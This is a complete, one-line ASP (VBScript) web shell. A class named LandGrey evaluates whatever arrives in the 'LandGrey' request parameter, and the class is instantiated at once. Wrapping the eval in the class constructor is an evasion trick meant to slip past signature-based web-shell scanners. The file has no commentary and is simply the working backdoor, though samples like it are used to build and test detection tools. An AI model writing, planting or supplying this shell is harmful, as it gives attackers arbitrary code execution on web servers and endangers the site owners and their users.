<% Class LandGrey Private Sub Class_Initialize eval(request("LandGrey")) End Sub End Class Set X = New LandGrey